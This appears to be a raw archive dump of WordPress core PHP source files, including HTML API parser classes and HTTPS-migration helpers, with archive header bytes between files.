			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
PKYO\2!�M10/https-migration.php.tarnu�[���home/homerdlh/public_html/wp-includes/https-migration.php000064400000011205151442377460017710 0ustar00<?php
/**
 * HTTPS migration functions.
 *
 * @package WordPress
 * @since 5.7.0
 */

/**
 * Checks whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
 *
 * If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`, causing WordPress to
 * add frontend filters to replace insecure site URLs that may be present in older database content. The
 * {@see 'wp_should_replace_insecure_home_url'} filter can be used to modify that behavior.
 *
 * @since 5.7.0
 *
 * @return bool True if insecure URLs should replaced, false otherwise.
 */
function wp_should_replace_insecure_home_url() {
	$should_replace_insecure_home_url = wp_is_using_https()
		&& get_option( 'https_migration_required' )
		// For automatic replacement, both 'home' and 'siteurl' need to not only use HTTPS, they also need to be using
		// the same domain.
		&& wp_parse_url( home_url(), PHP_URL_HOST ) === wp_parse_url( site_url(), PHP_URL_HOST );

	/**
	 * Filters whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
	 *
	 * If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`. This filter can
	 * be used to disable that behavior, e.g. after having replaced URLs manually in the database.
	 *
	 * @since 5.7.0
	 *
	 * @param bool $should_replace_insecure_home_url Whether insecure HTTP URLs to the site should be replaced.
	 */
	return apply_filters( 'wp_should_replace_insecure_home_url', $should_replace_insecure_home_url );
}

/**
 * Replaces insecure HTTP URLs to the site in the given content, if configured to do so.
 *
 * This function replaces all occurrences of the HTTP version of the site's URL with its HTTPS counterpart, if
 * determined via {@see wp_should_replace_insecure_home_url()}.
 *
 * @since 5.7.0
 *
 * @param string $content Content to replace URLs in.
 * @return string Filtered content.
 */
function wp_replace_insecure_home_url( $content ) {
	if ( ! wp_should_replace_insecure_home_url() ) {
		return $content;
	}

	$https_url = home_url( '', 'https' );
	$http_url  = str_replace( 'https://', 'http://', $https_url );

	// Also replace potentially escaped URL.
	$escaped_https_url = str_replace( '/', '\/', $https_url );
	$escaped_http_url  = str_replace( '/', '\/', $http_url );

	return str_replace(
		array(
			$http_url,
			$escaped_http_url,
		),
		array(
			$https_url,
			$escaped_https_url,
		),
		$content
	);
}

/**
 * Update the 'home' and 'siteurl' option to use the HTTPS variant of their URL.
 *
 * If this update does not result in WordPress recognizing that the site is now using HTTPS (e.g. due to constants
 * overriding the URLs used), the changes will be reverted. In such a case the function will return false.
 *
 * @since 5.7.0
 *
 * @return bool True on success, false on failure.
 */
function wp_update_urls_to_https() {
	// Get current URL options.
	$orig_home    = get_option( 'home' );
	$orig_siteurl = get_option( 'siteurl' );

	// Get current URL options, replacing HTTP with HTTPS.
	$home    = str_replace( 'http://', 'https://', $orig_home );
	$siteurl = str_replace( 'http://', 'https://', $orig_siteurl );

	// Update the options.
	update_option( 'home', $home );
	update_option( 'siteurl', $siteurl );

	if ( ! wp_is_using_https() ) {
		/*
		 * If this did not result in the site recognizing HTTPS as being used,
		 * revert the change and return false.
		 */
		update_option( 'home', $orig_home );
		update_option( 'siteurl', $orig_siteurl );
		return false;
	}

	// Otherwise the URLs were successfully changed to use HTTPS.
	return true;
}

/**
 * Updates the 'https_migration_required' option if needed when the given URL has been updated from HTTP to HTTPS.
 *
 * If this is a fresh site, a migration will not be required, so the option will be set as `false`.
 *
 * This is hooked into the {@see 'update_option_home'} action.
 *
 * @since 5.7.0
 * @access private
 *
 * @param mixed $old_url Previous value of the URL option.
 * @param mixed $new_url New value of the URL option.
 */
function wp_update_https_migration_required( $old_url, $new_url ) {
	// Do nothing if WordPress is being installed.
	if ( wp_installing() ) {
		return;
	}

	// Delete/reset the option if the new URL is not the HTTPS version of the old URL.
	if ( untrailingslashit( (string) $old_url ) !== str_replace( 'https://', 'http://', untrailingslashit( (string) $new_url ) ) ) {
		delete_option( 'https_migration_required' );
		return;
	}

	// If this is a fresh site, there is no content to migrate, so do not require migration.
	$https_migration_required = get_option( 'fresh_site' ) ? false : true;

	update_option( 'https_migration_required', $https_migration_required );
}
PKYO\g���VV&10/class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
